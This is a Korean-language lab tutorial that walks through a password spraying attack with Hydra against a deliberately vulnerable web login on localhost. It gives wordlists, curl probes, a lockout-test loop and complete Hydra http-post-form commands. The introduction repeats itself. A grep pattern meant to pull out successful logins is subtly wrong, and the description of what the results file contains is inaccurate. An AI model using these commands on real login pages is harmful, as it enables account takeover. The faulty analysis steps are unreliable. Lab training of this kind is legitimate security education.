소개
이 랩에서는 다양한 사이버 보안 도구인 Hydra 를 사용하여 패스워드 스프레이 공격을 수행하는 방법을 배우게 됩니다. Hydra 설정, 자격 증명 목록 생성, 웹 인증 양식에 대한 표적 공격 실행 과정을 살펴봅니다.
이 랩은 공격 매개변수 구성, 결과 분석, 취약한 자격 증명 식별에 대한 실질적인 경험을 제공합니다. 실습을 통해 일반적인 인증 취약점과 방어 전략에 대한 통찰력을 얻을 수 있습니다.
이 랩에서는 다양한 사이버 보안 도구인 Hydra 를 사용하여 패스워드 스프레이 공격을 수행하는 방법을 배우게 됩니다. Hydra 설정, 자격 증명 목록 생성, 웹 인증 양식에 대한 표적 공격 실행 과정을 살펴봅니다.
이 랩은 공격 매개변수 구성, 결과 분석, 취약한 자격 증명 식별에 대한 실질적인 경험을 제공합니다. 실습을 통해 일반적인 인증 취약점과 방어 전략에 대한 통찰력을 얻을 수 있습니다.
이 단계에서는 시스템 보안을 테스트하기 위해 보안 전문가가 사용하는 강력하고 유연한 패스워드 크래킹 도구인 Hydra 를 설치합니다. Hydra 는 웹사이트 (HTTP), 파일 전송 (FTP), 보안 셸 (SSH) 과 같은 다양한 네트워크 서비스에 대해 무차별 대입 공격 (brute-force attack) 을 수행할 수 있습니다. 이러한 도구의 작동 방식을 이해하면 공격으로부터 시스템을 더 잘 보호할 수 있습니다.
먼저 시스템의 패키지 목록을 업데이트해야 합니다. 이렇게 하면 Hydra 의 최신 버전을 설치할 수 있습니다.
sudo apt update
sudo 명령은 관리자 권한을 부여하고, apt update는 사용 가능한 소프트웨어 패키지 목록을 새로 고칩니다.
이제 다음 간단한 명령으로 Hydra 를 설치합니다.
sudo apt install hydra -y
-y 플래그는 설치 중 모든 프롬프트에 자동으로 "yes"로 응답하여 프로세스를 더 원활하게 만듭니다.
설치 후 Hydra 가 제대로 작동하는지 버전을 확인하여 확인해 보겠습니다.
hydra -v
다음과 유사한 출력이 표시되어야 합니다.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
이 버전 확인은 Hydra 가 제대로 설치되어 사용할 준비가 되었음을 확인합니다.
고급 기능과 특정 프로토콜에 대한 더 나은 성능을 위해 다음 선택적 종속성을 설치합니다.
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y
이러한 라이브러리를 사용하면 Hydra 가 데이터베이스 (MySQL, PostgreSQL) 및 버전 관리 시스템 (Subversion) 과 같은 추가 서비스에서 작동할 수 있습니다.
이 단계에서는 Hydra 가 패스워드 스프레이 공격을 수행하는 데 필요한 필수 텍스트 파일을 생성합니다. 이러한 파일에는 Hydra 가 대상 웹 양식에 대해 체계적으로 테스트할 잠재적인 사용자 이름과 비밀번호가 포함되어 있습니다. 패스워드 스프레이는 여러 사용자 계정에 대해 몇 가지 일반적인 비밀번호를 시도하여 작동합니다. 이는 단일 계정에 대해 많은 비밀번호를 시도할 때 발생하는 계정 잠금을 방지하는 데 도움이 됩니다.
먼저 파일을 저장할 프로젝트 디렉토리로 이동합니다. 이렇게 하면 모든 것이 한 곳에서 정리됩니다.
cd ~/project
이제 일반적인 사용자 이름을 포함하는 파일을 생성합니다. 이는 시스템에 존재할 수 있는 일반적인 계정 이름입니다. nano 텍스트 편집기를 사용하여 파일을 생성하고 편집합니다.
nano users.txt
다음 일반적인 사용자 이름을 한 줄에 하나씩 추가합니다.
admin
administrator
user
test
guest
root
다음으로 비밀번호 목록 파일을 생성합니다. 이는 사용자가 설정할 수 있는 취약한 비밀번호이므로 테스트에 적합합니다. 다시 nano 를 사용합니다.
nano passwords.txt
다음으로 일반적으로 사용되는 비밀번호를 각 줄에 하나씩 추가합니다.
password
123456
admin
letmein
welcome
qwerty
두 파일을 모두 생성한 후 디렉토리에 있는지 확인해 보겠습니다. ls -l 명령은 생성 시기 및 크기를 포함한 자세한 파일 정보를 표시합니다.
ls -l
출력에 users.txt와 passwords.txt가 모두 나열되어야 합니다.
마지막으로 각 파일의 실제 내용을 확인하여 올바르게 생성되었는지 확인합니다. cat 명령은 터미널에 파일 내용을 직접 표시합니다.
cat users.txt
cat passwords.txt
이 단계에서는 패스워드 스프레이를 위해 대상 웹 양식을 식별하고 분석합니다. 이 연습에서는 http://localhost:8080에서 실행되는 의도적으로 취약한 웹 애플리케이션을 사용합니다. 패스워드 스프레이는 여러 사용자 계정에 대해 몇 가지 일반적인 비밀번호를 시도하여 작동하므로 공격을 시작하기 전에 로그인 양식의 구조를 이해하는 것이 중요합니다.
먼저 대상 웹 애플리케이션이 실행 중인지 확인합니다.
curl -I http://localhost:8080/login
-I 플래그는 curl 에게 HTTP 헤더만 가져오도록 지시합니다. 로그인 페이지에 액세스할 수 있음을 확인하는 200 OK 상태를 확인해야 합니다. 연결 오류가 발생하면 진행하기 전에 웹 서버가 실행 중인지 확인하십시오.
페이지 소스를 보면서 로그인 양식 구조를 검사합니다.
curl http://localhost:8080/login | grep -A5 -B5 "form"
이 명령은 HTML 콘텐츠를 가져와 <form> 태그 전후 5 줄을 표시합니다. 양식의 action 속성 (데이터가 전송되는 위치) 과 입력 필드 이름을 찾습니다. 일반적으로 username 및 password라고 하지만 다를 수 있습니다.
양식의 매개변수를 문서화하기 위해 테스트 요청 파일을 생성합니다.
nano form_test.txt
Hydra 에 필요한 주요 세부 정보를 기록하기 위해 이 콘텐츠를 추가합니다.
Target URL: http://localhost:8080/login
Method: POST
Username field: username
Password field: password
Failure indicator: "Invalid credentials"
실패 표시기는 Hydra 가 로그인 시도가 실패했음을 인식하는 데 도움이 됩니다. 나중에 이 파일을 사용하여 공격을 구성합니다.
단일 자격 증명 쌍으로 양식을 수동으로 테스트합니다.
curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v
-X POST는 HTTP 메서드를 지정하고, -d는 양식 데이터를 보냅니다. -v 플래그는 자세한 출력을 표시하므로 "Invalid credentials" 응답을 확인할 수 있습니다. 이는 실패한 로그인으로 양식이 예상대로 작동하는지 확인합니다.
5 개의 빠른 요청을 보내 계정 잠금 정책을 확인합니다.
for i in {1..5}; do
curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
done
이 루프는 5 번의 빠른 실패 시도를 보냅니다. HTTP 상태 코드가 200(성공) 에서 403(금지됨) 으로 변경되는지 확인합니다. 이는 잠금 보호를 나타냅니다. 실제 애플리케이션에는 이러한 보호 장치가 있는 경우가 많지만 테스트 환경에는 없습니다.
이 단계에서는 이전에 준비한 사용자 및 비밀번호 목록을 사용하여 Hydra 로 대상 웹 양식에 대해 패스워드 스프레이 공격을 실행합니다. 패스워드 스프레이는 많은 사용자 계정에 대해 소수의 일반적인 비밀번호를 시도하는 기술로, 기존의 무차별 대입 공격에서 발생할 수 있는 계정 잠금을 방지하는 데 도움이 됩니다.
먼저 사용자 및 비밀번호 목록이 저장된 프로젝트 디렉토리로 이동합니다.
cd ~/project
이제 신중하게 선택된 매개변수를 사용하여 Hydra 를 실행합니다. 이 명령은 Hydra 에게 웹 양식의 로그인 페이지를 대상으로 사용하여 목록의 각 비밀번호를 각 사용자 이름에 대해 테스트하도록 지시합니다.
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV
각 매개변수가 수행하는 작업을 자세히 살펴보겠습니다.
-L users.txt: 사용자 이름 목록 (줄당 하나) 을 가리킵니다.-P passwords.txt: 테스트할 비밀번호 목록을 가리킵니다.http-post-form: POST 메서드를 사용하여 웹 양식을 공격하고 있음을 지정합니다./login:...: 양식 구조를 정의합니다. 콜론 뒤의 부분은 Hydra 가 실패한 시도를 인식하는 방법을 알려줍니다.-t 4: 공격 속도를 높이기 위해 4 개의 병렬 연결을 실행합니다.-vV: 진행 상황을 확인할 수 있도록 자세한 출력을 제공합니다.Hydra 가 실행되는 동안 출력을 주의 깊게 살펴보십시오. Hydra 가 유효한 자격 증명을 찾으면 다음과 같이 명확하게 표시합니다.
[80][http-post-form] host: localhost login: admin password: admin
문서화 또는 추가 분석을 위해 결과를 저장하려면 -o 매개변수를 사용하여 Hydra 를 실행합니다.
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
공격이 완료된 후 저장된 결과를 다음과 같이 볼 수 있습니다.
cat results.txt
이 파일에는 공격 중에 발견된 모든 성공적인 로그인 조합이 포함됩니다.
이 단계에서는 패스워드 스프레이 공격의 결과를 분석하여 손상된 자격 증명을 식별하고 보안 영향을 이해합니다. 패스워드 스프레이는 공격자가 소수의 계정에 대해 많은 비밀번호를 시도하는 대신 많은 계정에 대해 몇 가지 일반적인 비밀번호를 시도하는 기술입니다.
먼저 Hydra 에서 생성한 원시 결과 파일을 검사합니다. 이 파일에는 공격 중에 Hydra 가 시도한 모든 시도가 포함되어 있습니다.
cat ~/project/results.txt
성공적인 로그인을 나타내는 "[80][http-post-form]"이 포함된 줄을 찾습니다. 숫자 80 은 HTTP 포트를 나타내고, http-post-form 은 웹 양식 제출임을 보여줍니다.
성공적인 시도에만 집중하려면 손상된 자격 증명만 새 파일로 추출합니다. grep 명령은 성공 패턴을 포함하는 줄을 필터링합니다.
grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
취약점의 규모를 이해하기 위해 손상된 계정 수를 계산합니다. -l 플래그가 있는 wc(단어 수) 명령은 줄 수를 계산합니다.
wc -l ~/project/compromised_creds.txt
비밀번호 빈도 목록을 생성하여 비밀번호 패턴을 분석합니다. 이는 일반적으로 사용된 약한 비밀번호를 식별하는 데 도움이 됩니다.
awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr
이 명령은 여섯 번째 필드 (비밀번호) 를 추출하고, 정렬하고, 중복을 계산하고, 빈도별로 정렬합니다.
주요 결과를 요약하는 보안 보고서를 생성합니다. 이 구조화된 형식은 결과를 명확하게 문서화하는 데 도움이 됩니다.
echo "Password Spray Attack Results" > ~/project/security_report.txt
echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
컴파일된 결과를 보려면 최종 보안 보고서를 봅니다.
cat ~/project/security_report.txt
이 랩에서는 Linux 시스템에서 Hydra 를 사용하여 패스워드 스프레이 공격을 수행하는 방법을 배웠습니다. 이 프로세스에는 도구 설치, 자격 증명 목록 준비, 웹 양식에 대한 공격 구성이 포함되었습니다.
또한 네트워크 서비스에 대한 무차별 대입 시도를 위한 Hydra 의 기본 기능을 살펴보았습니다. 이 랩에서는 구조화된 입력 파일 생성 및 필수 명령 매개변수 이해와 같은 적절한 설정 기술을 강조했습니다.